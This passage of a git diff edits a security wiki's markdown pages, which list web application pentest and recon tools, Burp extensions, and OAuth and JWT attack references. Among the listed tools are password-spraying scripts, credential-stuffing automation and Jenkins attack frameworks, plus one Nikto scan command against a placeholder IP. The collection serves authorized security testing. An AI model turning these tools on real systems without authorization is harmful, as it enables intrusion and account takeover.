[crawl the application](https://portswigger.net/burp/documentation/scanner/crawling) to discover its content and functionality, and [audit the application](https://portswigger.net/burp/documentation/scanner/auditing) to discover vulnerabilities. Active Scan++ is an extension that expands the scanning capabilities of Burp Suite. @@ -87,15 +87,15 @@ The Leading Web application testing tool on the market. Has a community edition * [Retire.JS](https://github.com/h3xstream/burp-retire-js) - Burp/ZAP/Maven extension that integrate Retire.js repository to find vulnerable Javascript libraries. * [sqlipy](https://github.com/codewatchorg/sqlipy) - SQLiPy is a Python plugin for Burp Suite that integrates SQLMap using the SQLMap API. * [Backslash powered scanner](https://portswigger.net/bappstore/9cff8c55432a45808432e26dbb2b41d8) - Active scan for SSTI detection -* [CSFR Scanner](https://portswigger.net/bappstore/60f172f27a9b49a1b538ed414f9f27c3) - Passive CSRF detection +* [CSRF Scanner](https://portswigger.net/bappstore/60f172f27a9b49a1b538ed414f9f27c3) - Passive CSRF detection. * [Freddy ](https://portswigger.net/bappstore/ae1cce0c6d6c47528b4af35faebc3ab3)- Find Deserialization Bugs * [JSON Web Tokens](https://portswigger.net/bappstore/f923cbf91698420890354c1d8958fee6) - decode and manipulate JSON web tokens * [Web cache deception scanner ](https://portswigger.net/bappstore/7c1ca94a61474d9e897d307c858d52f0)- Tests applications for the Web Cache Deception vulnerability. * [HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) - Active scanner and launcher for HTTP Request Smuggling attacks * [Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - Tests various upload vulnerabilities -* [SSRF-KIng](https://github.com/ethicalhackingplayground/ssrf-king?s=09) - SSRF plugin for burp Automates SSRF Detection in all of the Request +* [SSRF-King](https://github.com/ethicalhackingplayground/ssrf-king?s=09) - Burp plugin that automates SSRF detection across requests. * [shelling](https://github.com/ewilded/shelling) - a comprehensive OS command injection payload generator -* [Autorise](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f) - Tool for detecting autorization vulerabilities such as Indirect Object Reference. +* [Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f) - Tool for detecting authorization vulnerabilities such as IDOR. * [Java Deserialization Scanner](https://portswigger.net/bappstore/228336544ebe4e68824b5146dbbd93ae) - Active and passive scanner to find Java deserialization vulnerabilities {% endtab %} diff --git a/web-app-hacking/scanning-utilities.md b/web-app-hacking/scanning-utilities.md index 3e5982d..b9d18dd 100644 --- a/web-app-hacking/scanning-utilities.md +++ b/web-app-hacking/scanning-utilities.md @@ -8,7 +8,7 @@ description: >- ## **Visual scanning with Screenshots** -The content on your target pages can provide a wealth of information as well as screenshots of those pages are part of good documentation. There are some tools that can help with that. +Target pages can provide a wealth of information, and screenshots are useful evidence for reports. These tools help collect screenshots and web metadata at scale.
@@ -27,13 +27,13 @@ The content on your target pages can provide a wealth of information as well as Web-Based Utilities -* These are not only very detailed and helpful tools, but they allow you to gather tons of intel on your target in a passive recon phase, as to not interaction with the target or its infrastructure at all. +* These tools can support passive web fingerprinting without directly interacting with the target infrastructure beyond the service you are querying. * [Netcraft](https://www.netcraft.com/) - Offers a slew of tools including a handy browser extension for on demand scanning of websites for reputation and technical data. * [Wappalyzer](https://www.wappalyzer.com/) - Scanning tool that can determine the web technologies that are used on the target web page. -* [Builtwith](https://builtwith.com/) - Similar as above. +* [BuiltWith](https://builtwith.com/) - Similar technology fingerprinting and company/web stack lookup. * [Visual Site Mapper ](http://visualsitemapper.com/)- Handy tool for conceptualizing a target website in a different way. * [Mozilla Observatory](https://observatory.mozilla.org/) - Fantastic resource that will scan for HTTP, SSL, and TLS settings and return with an overall grade based on a scored checklist. Can be run to include a few other popular third party scanning utilities for even easier recon. - * [Qualys SSLlabs test ](https://www.ssllabs.com/ssltest/)- Scan and score SLL/TLS settings + * [Qualys SSL Labs test](https://www.ssllabs.com/ssltest/) - Scan and score SSL/TLS settings. * [Security Headers](https://securityheaders.com/) - Analyze the data found in HTTP responses to a domain * Immuniweb tools [SSL](https://www.immuniweb.com/ssl/) and [WebSec](https://www.immuniweb.com/websec/) test @@ -45,7 +45,7 @@ The content on your target pages can provide a wealth of information as well as * [What Web](https://github.com/urbanadventurer/whatweb) - WhatWeb recognizes web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 1800 plugins, each to recognize something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more. * [wafw00f](https://github.com/EnableSecurity/wafw00f) - WAFW00F allows one to identify and fingerprint Web Application Firewall (WAF) products protecting a website. -* [Blind Elephant](http://blindelephant.sourceforge.net/) - The BlindElephant Web Application Fingerprinter attempts to discover the version of a (known) web application by comparing static files at known locations against precomputed hashes for versions of those files in all all available releases. The technique is fast, low-bandwidth, non-invasive, generic, and highly automatable. +* [Blind Elephant](http://blindelephant.sourceforge.net/) - Legacy web application fingerprinter. Kept for historical context; verify current usefulness before relying on it. * [Virtual Host Scanner](https://github.com/codingo/VHostScan) - A virtual host scanner that can be used with pivot tools, detect catch-all scenarios, aliases and dynamic default pages. * [https://whatcms.org/](https://whatcms.org/) - Web based tool to determine what CMS a site is using. * [httprint](https://www.kali.org/tools/httprint/) - httprint is a web server fingerprinting tool. It relies on web server characteristics to accurately identify web servers, despite the fact that they may have been obfuscated by changing the server banner strings, or by plug-ins such as mod\_security or servermaskd @@ -58,8 +58,6 @@ The content on your target pages can provide a wealth of information as well as Web App Vuln Scanning Tools -...burp..... - * [Nikto](https://github.com/sullo/nikto) - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. * [https://cirt.net/Nikto2](https://cirt.net/Nikto2) * Nikto web server scan @@ -67,14 +65,14 @@ The content on your target pages can provide a wealth of information as well as ``` nikto -h 10.10.10.10 ``` -* [Arachni](https://www.arachni-scanner.com/) - Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of modern web applications. +* [Arachni](https://www.arachni-scanner.com/) - Retired Ruby web application scanner. Kept as a legacy reference; prefer maintained tools such as OWASP ZAP, Nuclei, Wapiti, or commercial DAST platforms for current work. * [Arachni Web UI](https://github.com/Arachni/arachni-ui-web/wiki) * [W3AF](https://github.com/andresriancho/w3af) - w3af: web application attack and audit framework, the open source web vulnerability scanner. * [Wapiti](https://wapiti.sourceforge.io/) - Wapiti allows you to audit the security of your websites or web applications. It performs "black-box" scans (it does not study the source code) of the web application by crawling the webpages of the deployed webapp, looking for scripts and forms where it can inject data. -* [Vega Scanner](https://subgraph.com/vega/) - Vega is a free and open source web security scanner and web security testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. -* [WAVE](https://github.com/adithyan-ak/WAVE) - Web Application Vulnerability Exploiter (WAVE) is basically a vulnerability scanner which scans for Secuirity Vulnerabilities in web applications. +* [Vega Scanner](https://subgraph.com/vega/) - Legacy Subgraph web scanner. Project activity appears limited; verify maintenance before use. +* [WAVE](https://github.com/adithyan-ak/WAVE) - Web Application Vulnerability Exploiter scanner. * [https://snyk.io/website-scanner/](https://snyk.io/website-scanner/) - Get a full website security check for known vulnerabilities and HTTP security headers
@@ -83,10 +81,10 @@ The content on your target pages can provide a wealth of information as well as
-SLL Scanning Tools +SSL/TLS Scanning Tools * [sslscan](https://www.kali.org/tools/sslscan/) - SSLScan queries SSL services, such as HTTPS, in order to determine the ciphers that are supported. SSLScan is designed to be easy, lean and fast. The output includes preferred ciphers of the SSL service, the certificate and is in text and XML formats. - * [tlssled](https://www.kali.org/tools/tlssled/) - TLSSLed is a Linux shell script whose purpose is to evaluate the security of a target SSL/TLS (HTTPS) web server implementation. Basec on sslscan. +* [tlssled](https://www.kali.org/tools/tlssled/) - TLSSLed evaluates SSL/TLS configuration and is based on sslscan. * [sslyze](https://www.kali.org/tools/sslyze/) - SSLyze is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify misconfigurations affecting their SSL servers. * [testssl.sh](https://www.kali.org/tools/testssl.sh/) - testssl.sh is a free command line tool which checks a server’s service on any port for the support of TLS/SSL ciphers, protocols as well as recent cryptographic flaws and more. * [o-saft](https://www.kali.org/tools/o-saft/) - O-Saft is an easy to use tool to show information about SSL certificates and tests the SSL connection according to a given list of ciphers and various SSL configurations. @@ -115,7 +113,7 @@ The content on your target pages can provide a wealth of information as well as {% tab title="Joomla" %} * [JCS](https://github.com/TheM4hd1/JCS) - JCS (Joomla Component Scanner) made for penetration testing purpose on Joomla CMS -* [Joomscan](https://wiki.owasp.org/index.php/Category:OWASP\_Joomla\_Vulnerability\_Scanner\_Project) - OWASP Joomla! Vulnerability Scanner (JoomScan) is an open source project, developed with the aim of automating the task of vulnerability detection and reliability assurance in Joomla CMS deployments. +* [Joomscan](https://github.com/OWASP/joomscan) - Joomla vulnerability scanner. Older OWASP wiki pages are archived; prefer the GitHub project when available. {% endtab %} {% endtabs %} @@ -130,7 +128,7 @@ The content on your target pages can provide a wealth of information as well as * [Arjun](https://github.com/s0md3v/Arjun) - Arjun can find query parameters for URL endpoints. * [Sh1Yo/x8](https://github.com/Sh1Yo/x8) - Hidden parameters discovery suite * [Burp Suite Extension: Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) - This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities. -* [ffuf](https://www.kali.org/tools/ffuf/) - ffuf is a fest web fuzzer written in Go that allows typical directory discovery, virtual host discovery (without DNS records) and GET and POST parameter fuzzing. +* [ffuf](https://www.kali.org/tools/ffuf/) - Fast web fuzzer written in Go for directory discovery, virtual host discovery, and GET/POST parameter fuzzing.
@@ -140,6 +138,12 @@ The content on your target pages can provide a wealth of information as well as Misc Tools +* [Photon](https://github.com/s0md3v/Photon) - Fast crawler designed for OSINT-style web endpoint discovery. +* [URLgrab](https://github.com/IAmStoxe/urlgrab) - Go utility for spidering a website and collecting links. +* [hakrawler](https://github.com/hakluke/hakrawler) - Simple web crawler for endpoint discovery. +* [gospider](https://www.kali.org/tools/gospider/) - Fast web spider written in Go. +* [filebuster](https://github.com/henshin/filebuster) - HTTP fuzzer and content discovery tool. +* [feroxbuster](https://www.kali.org/tools/feroxbuster/) - Forced browsing and content discovery tool. * [BFAC](https://github.com/mazen160/bfac) - BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code. * [csprecon](https://github.com/edoardottt/csprecon) - Discover new target domains using Content Security Policy * [RetireJS](https://retirejs.github.io/retire.js/) - Scanner to detect javascript libraries and known vulnerabilities within them. @@ -148,13 +152,20 @@ The content on your target pages can provide a wealth of information as well as * [AAP](https://github.com/PushpenderIndia/aapfinder) - AAP Finder (Advanced Admin Page Finder) is a tool written in Python3 with advanced functionalities, with more than 700+ Potential Admin Panels. This Tool Can Easily Find Login Pages of Any Site & is also capable to detect _robots.txt_ File. * [Admin-Scanner](https://github.com/alienwhatever/Admin-Scanner) - This tool is design to find admin panel of any website by using custom wordlist or default wordlist easily and allow you to find admin panel trough a proxy server. * [Breacher](https://github.com/s0md3v/Breacher) - An advanced multithreaded admin panel finder written in python. -* [JS-Scan](https://github.com/zseano/JS-Scan) - aA.js scanner, built in php. designed to scrape urls and other info -* [SecretFinder](https://github.com/m4ll0k/SecretFinder) - A python script for find sensitive data (apikeys, accesstoken,jwt,..) and search anything on javascript files. -* [certgraph](https://www.kali.org/tools/certgraph/) - This package contains a tool to crawl the graph of certificate Alternate Names. CertGraph crawls SSL certificates creating a directed graph where each domain is a node and the certificate alternative names for that domain’s certificate are the edges to other domain nodes. -* [changeme](https://www.kali.org/tools/changeme/) - This package contains a default credential scanner. changeme supports the http/https, MSSQL, MySQL, Postgres, ssh and ssh w/key protocols.O-Saft is an easy to use tool to show information about SSL certificates and tests the SSL connection according to a given list of ciphers and various SSL configurations. -* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/) - CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against [cross-site scripting attacks](https://www.google.com/about/appsecurity/learning/xss/)[https://github.com/rly0nheart/oxdork](https://github.com/rly0nheart/oxdork) -* [oxdork](https://github.com/rly0nheart/oxdork) - oxDork uses Google dorking techniques and Google dorks to find security holes and misconfigurations in web servers. +* [JS-Scan](https://github.com/zseano/JS-Scan) - JavaScript scanner built in PHP for scraping URLs and other information. +* [SecretFinder](https://github.com/m4ll0k/SecretFinder) - Python script for finding sensitive data such as API keys, access tokens, JWTs, and other strings in JavaScript files. +* [certgraph](https://www.kali.org/tools/certgraph/) - Crawls certificate Subject Alternative Names and builds a domain graph. Passive certificate discovery also belongs in Cyber Intelligence. +* [changeme](https://www.kali.org/tools/changeme/) - Default credential scanner supporting HTTP/S, MSSQL, MySQL, Postgres, SSH, and SSH keys. +* [CSP Evaluator](https://csp-evaluator.withgoogle.com/) - Checks whether a Content Security Policy is a strong mitigation against XSS. +* [oxdork](https://github.com/rly0nheart/oxdork) - Google dorking helper. Google dorking methodology is maintained in Cyber Intelligence. * [subjs](https://github.com/lc/subjs) - Fetches javascript file from a list of URLS or subdomains. +* [RequestBin](https://requestbin.com/) - Collect and inspect HTTP requests and webhooks. +* [Race the Web](https://github.com/TheHackerDev/race-the-web) - Tests for race conditions in web applications. +* [DVCS-Ripper](https://github.com/kost/dvcs-ripper) - Finds and downloads web-accessible SVN, Git, Mercurial, and Bazaar repositories. +* [interactsh](https://github.com/projectdiscovery/interactsh) - Out-of-band interaction server and client for vulnerability validation. + * [interactsh web client](https://app.interactsh.com/) +* [GoodFaith](https://github.com/brevityinmotion/goodfaith) - Helps keep bug bounty recon automation within authorized scope. +* [Stripe Test Cards](https://stripe.com/docs/testing#cards) - Test card numbers for payment workflow testing. * [Interlace](https://github.com/codingo/Interlace) - Easily turn single threaded command line applications into a fast, multi-threaded application with CIDR and glob support. * [https://hakluke.medium.com/interlace-a-productivity-tool-for-pentesters-and-bug-hunters-automate-and-multithread-your-d18c81371d3d](https://hakluke.medium.com/interlace-a-productivity-tool-for-pentesters-and-bug-hunters-automate-and-multithread-your-d18c81371d3d) diff --git a/web-app-hacking/web-app-testing-frameworks.md b/web-app-hacking/web-app-testing-frameworks.md index 1aac26d..79495ca 100644 --- a/web-app-hacking/web-app-testing-frameworks.md +++ b/web-app-hacking/web-app-testing-frameworks.md @@ -1,26 +1,26 @@ # Web App Testing Frameworks -### Web App Testing Frameworks +These are proxies, scanners, DAST tools, and web-focused assessment frameworks. General attack-surface discovery tools such as subdomain enumerators and port scanners are maintained in Red Recon; credential-stuffing automation belongs in password attacks or should be omitted unless there is a clear authorized-testing use case. {% embed url="https://pentestbook.six2dez.com/others/recon-suites-review" %} -* [https://projectdiscovery.io/#/](https://projectdiscovery.io/#/) - Collection of open source tools for attack surface management or Bug Bounties. +* [ProjectDiscovery](https://projectdiscovery.io/#/) - Collection of open source tools for attack surface management and bug bounty workflows. * [nuclei](https://github.com/projectdiscovery/nuclei) - Fast and customizable vulnerability scanner based on simple YAML based DSL. * [https://github.com/projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) * [https://github.com/geeknik/the-nuclei-templates](https://github.com/geeknik/the-nuclei-templates) * [https://github.com/projectdiscovery/nuclei-docs](https://github.com/projectdiscovery/nuclei-docs) * [https://cheatsheet.haax.fr/web-pentest/tools/nuclei/](https://cheatsheet.haax.fr/web-pentest/tools/nuclei/) - * [subfinder](https://github.com/projectdiscovery/subfinder) - Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing. - * [naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests + * [subfinder](https://github.com/projectdiscovery/subfinder) - Subdomain discovery tool; canonical active/passive recon references live in Red Recon. + * [naabu](https://github.com/projectdiscovery/naabu) - Fast port scanner; canonical port scanning references live in Red Recon. * [httpx](https://github.com/projectdiscovery/httpx) - httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. * [proxify](https://github.com/projectdiscovery/proxify) - Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go. - * [dnsx](https://github.com/projectdiscovery/dnsx) - dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. + * [dnsx](https://github.com/projectdiscovery/dnsx) - DNS toolkit for running DNS queries against user-supplied resolvers. * [Fiddler](https://www.telerik.com/fiddler) - Powerful and flexible web debugging proxy. * [OWASP Zap](https://owasp.org/www-project-zap/) - Open Source Web Application testing tool made by the OWASP Foundation. Serves a similar function to Burp and even shares many extensions. * [https://tryhackme.com/room/learnowaspzap](https://tryhackme.com/room/learnowaspzap) * [Jaeles](https://github.com/jaeles-project/jaeles) - Jaeles is a powerful, flexible and easily extensible framework written in Go for building your own Web Application Scanner. * [REngine ](https://github.com/yogeshojha/rengine)- reNgine is an automated reconnaissance framework meant for information gathering during penetration testing of web applications. reNgine has customizable scan engines, which can be used to scan the domains, endpoints, or gather information. The beauty of reNgine is that it gathers everything in one place. It has a pipeline of reconnaissance, which is highly customizable. -* [OpenBullet2](https://github.com/openbullet/OpenBullet2) - OpenBullet 2 is a cross platform automation suite powered by .NET core. It allows to perform requests towards a target webapp and offers a lot of tools to work with the results. This software can be used for scraping and parsing data, automated pentesting and much more. +* [OpenBullet2](https://github.com/openbullet/OpenBullet2) - High-abuse automation suite often associated with credential stuffing. Do not treat it as a general web testing framework; only use in explicitly authorized lab contexts. * [https://discourse.openbullet.dev/](https://discourse.openbullet.dev/) * [FinalRecon](https://github.com/thewhiteh4t/finalrecon) - FinalRecon is an automatic web reconnaissance tool written in python. Goal of FinalRecon is to provide an overview of the target in a short amount of time while maintaining the accuracy of results. * [ChopChop](https://github.com/michelin/ChopChop) - ChopChop is a command-line tool for dynamic application security testing on web applications, initially written by the Michelin CERT. Its goal is to scan several endpoints and identify exposition of services/files/folders through the webroot. @@ -30,7 +30,7 @@ * [Sitadel](https://github.com/shenril/Sitadel) - Sitadel is basically an update for WAScan making it compatible for python >= 3.4 It allows more flexibility for you to write new modules and implement new features * [Garud](https://github.com/R0X4R/Garud) - An automation tool that scans sub-domains, sub-domain takeover, then filters out XSS, SSTI, SSRF, and more injection point parameters and scans for some low hanging vulnerabilities automatically. * [OpenWebTestingFramework ](https://github.com/owtf/owtf)- **OWTF** is a project focused on penetration testing efficiency and alignment of security tests to security standards like the OWASP Testing Guide (v3 and v4), the OWASP Top 10, PTES and NIST -* [SecApps](web-app-testing-frameworks.md#web-app-testing-resources) - A flexible scanning platform that combines the funcitonality of multiple tools into a web based platform. Comes in both a premium and free sets of features. +* [SecApps](https://secapps.com/tools/suite/) - Flexible web-based testing platform with free and paid features. * [paros](https://www.kali.org/tools/paros/) - Lightweight web application testing proxy * [sumrecon](https://github.com/Gr1mmie/sumrecon) - Web recon script. No need to fear, sumrecon is here! * [0d1n](https://github.com/CoolerVoid/0d1n) - Tool for automating customized attacks against web applications. Fully made in C language with pthreads, it has fast performance. diff --git a/web-app-hacking/web-technologies/README.md b/web-app-hacking/web-technologies/README.md index ac7beab..e41c6ef 100644 --- a/web-app-hacking/web-technologies/README.md +++ b/web-app-hacking/web-technologies/README.md @@ -1,5 +1,7 @@ # Web Technologies +This page tracks security notes and tools for common web platforms, frameworks, identity technologies, APIs, and CMSs. Keep passive domain discovery in Cyber Intelligence, O365 spraying in Password Attacks, and malware/API cheat sheets in DFIR or exploit-development pages. +
Adobe AEM @@ -26,7 +28,7 @@ APIs * [https://github.com/shieldfy/API-Security-Checklist](https://github.com/shieldfy/API-Security-Checklist) -* [https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf) +* [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) - Use the current project page rather than only the older 2019 PDF. * [https://hackanythingfor.blogspot.com/2020/07/api-testing-checklist.html](https://hackanythingfor.blogspot.com/2020/07/api-testing-checklist.html) * [https://cheatsheetseries.owasp.org/cheatsheets/REST\_Assessment\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/REST\_Assessment\_Cheat\_Sheet.html) * [https://cheatsheetseries.owasp.org/cheatsheets/REST\_Security\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/REST\_Security\_Cheat\_Sheet.html) @@ -40,14 +42,14 @@ * [imperva/automatic-api-attack-tool](https://github.com/imperva/automatic-api-attack-tool) - Imperva's customizable API attack tool takes an API specification as an input, generates and runs attacks that are based on it as an output. * [Astra](https://github.com/flipkart-incubator/Astra) - Automated Security Testing For REST API's * [OWASP API check](https://owasp.org/www-project-apicheck/#div-tools) - APICheck is an environment for integrating existing HTTP APIs tools and create execution chains easily. -* [VX-API](https://github.com/vxunderground/VX-API) - Collection of various WINAPI tricks / features used or abused by Malware -* [https://malapi.io/](https://malapi.io/) - Cheatsheet for commands that could be potentially used for malicious activity. +* [VX-API](https://github.com/vxunderground/VX-API) - Windows API tricks and malware-oriented API notes. This is not a web API resource; keep here only as a pointer for API terminology overlap. +* [malapi.io](https://malapi.io/) - Windows API reference for malware behavior. Better fit for malware/reverse engineering workflows. * [crAPI](https://github.com/OWASP/crAPI) - **c**ompletely **r**idiculous **API** (crAPI) will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself. * [https://github.com/Net-hunter121/API-Wordlist](https://github.com/Net-hunter121/API-Wordlist) - A wordlist of API names used for fuzzing web application APIs. * [https://github.com/metlo-labs/metlo](https://github.com/metlo-labs/metlo) - Metlo is an open-source API security platform * _Hacking: The next generation - Application Protocol Handlers, pg. 96_ -_For training on APIs and API hacking, please see_ [_https://github.com/jassics/security-study-plan/blob/main/api-security-study-plan.md_](https://github.com/jassics/security-study-plan/blob/main/api-security-study-plan.md)__ +_For training on APIs and API hacking, please see_ [_https://github.com/jassics/security-study-plan/blob/main/api-security-study-plan.md_](https://github.com/jassics/security-study-plan/blob/main/api-security-study-plan.md)_._
@@ -85,7 +87,7 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/ Cloudflare -* [cloudflare\_enum](https://github.com/mandatoryprogrammer/cloudflare\_enum) - Cloudflare DNS Enumeration Tool for Pentesters +* [cloudflare_enum](https://github.com/mandatoryprogrammer/cloudflare_enum) - Cloudflare DNS enumeration tool. Passive DNS/domain investigation belongs in Cyber Intelligence. @@ -213,7 +215,7 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/ Jenkins * [pwn\_jenkins](https://github.com/gquere/pwn\_jenkins) - Notes about attacking Jenkins servers -* [Accenture/jenkins-attack-framework](https://github.com/Accenture/jenkins-attack-framework) - Project fpr enumerating and attacking Jenkins +* [Accenture/jenkins-attack-framework](https://github.com/Accenture/jenkins-attack-framework) - Project for enumerating and attacking Jenkins. * [https://pentestbook.six2dez.com/enumeration/webservices/jenkins](https://pentestbook.six2dez.com/enumeration/webservices/jenkins) * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Jenkins.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Jenkins.md) @@ -248,8 +250,8 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/ * [https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology) * [jwt-hack](https://github.com/hahwul/jwt-hack) - jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce) * [jwt-pwn](https://github.com/mazen160/jwt-pwn) - Security Testing Scripts for JWT -* [https://trustfoundry.net/jwt-hacking-101/](https://trustfoundry.net/jwt-hacking-101/https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a) -* [https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9](https://trustfoundry.net/jwt-hacking-101/https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a) +* [JWT Hacking 101](https://trustfoundry.net/jwt-hacking-101/) +* [Can timing attacks be a practical security threat on JWT signatures?](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9) * [https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/) * [https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a) * [https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) @@ -258,7 +260,7 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/
-Megento +Magento * [magescan](https://github.com/steverobbins/magescan) - Scan a Magento site for information * [https://magescan.com/](https://magescan.com/) @@ -300,6 +302,12 @@ _For training on APIs and API hacking, please see_ [_https://github.com/jassics/ OWA/O365 +Microsoft 365 username enumeration, spraying, and mailbox search tooling is maintained with Password Attacks and Cloud. The links below are kept here only because OWA is a web-facing technology. + +{% content-ref url="../../red-offensive/testing-methodology/password-attacks.md" %} +[password-attacks.md](../../red-offensive/testing-methodology/password-attacks.md) +{% endcontent-ref %} + * [MailSniper](https://github.com/dafthack/MailSniper) - MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an administrator to search the mailboxes of every user in a domain. * [byt3bl33d3r/SprayingToolkit](https://github.com/byt3bl33d3r/SprayingToolkit) - Scripts to make password spraying attacks against Lync/S4B, OWA & O365 a lot quicker, less painful and more efficient * [o365enum](https://github.com/gremwell/o365enum) - Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover v1, or office.com login page. diff --git a/web-app-hacking/web-technologies/oauth-2.0.md b/web-app-hacking/web-technologies/oauth-2.0.md index dd92b7c..c50ccba 100644 --- a/web-app-hacking/web-technologies/oauth-2.0.md +++ b/web-app-hacking/web-technologies/oauth-2.0.md @@ -13,10 +13,10 @@ {% endtab %} {% tab title="OAuth Grant Types" %} - **** The ways that OAuth can be implemented. +Ways that OAuth can be implemented. * Authorization Code - the client application and OAuth service first use redirects to exchange a series of browser-based HTTP requests that initiate the flow. The user is asked whether they consent to the requested access. If they accept, the client application is granted an "authorization code". The client application then exchanges this code with the OAuth service to receive an "access token", which they can use to make API calls to fetch the relevant user data. -* Implicit - the client application receives the access code immediately after the user gives their consent. +* Implicit - the client application receives the token immediately after user consent. OAuth 2.1 removes the implicit grant; prefer authorization code with PKCE for modern browser-based applications. * [https://oauth.net/2/grant-types/authorization-code/](https://oauth.net/2/grant-types/authorization-code/) * [https://portswigger.net/web-security/oauth/grant-types](https://portswigger.net/web-security/oauth/grant-types) {% endtab %} @@ -30,13 +30,13 @@ * [https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a](https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a) * [https://medium.com/@logicbomb\_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56](https://medium.com/@logicbomb\_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56) * [https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567](https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567) -* [https://hackerone.com/reports/49759](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://hackerone.com/reports/131202](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://hackerone.com/reports/6017](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://hackerone.com/reports/7900](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://hackerone.com/reports/244958](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* 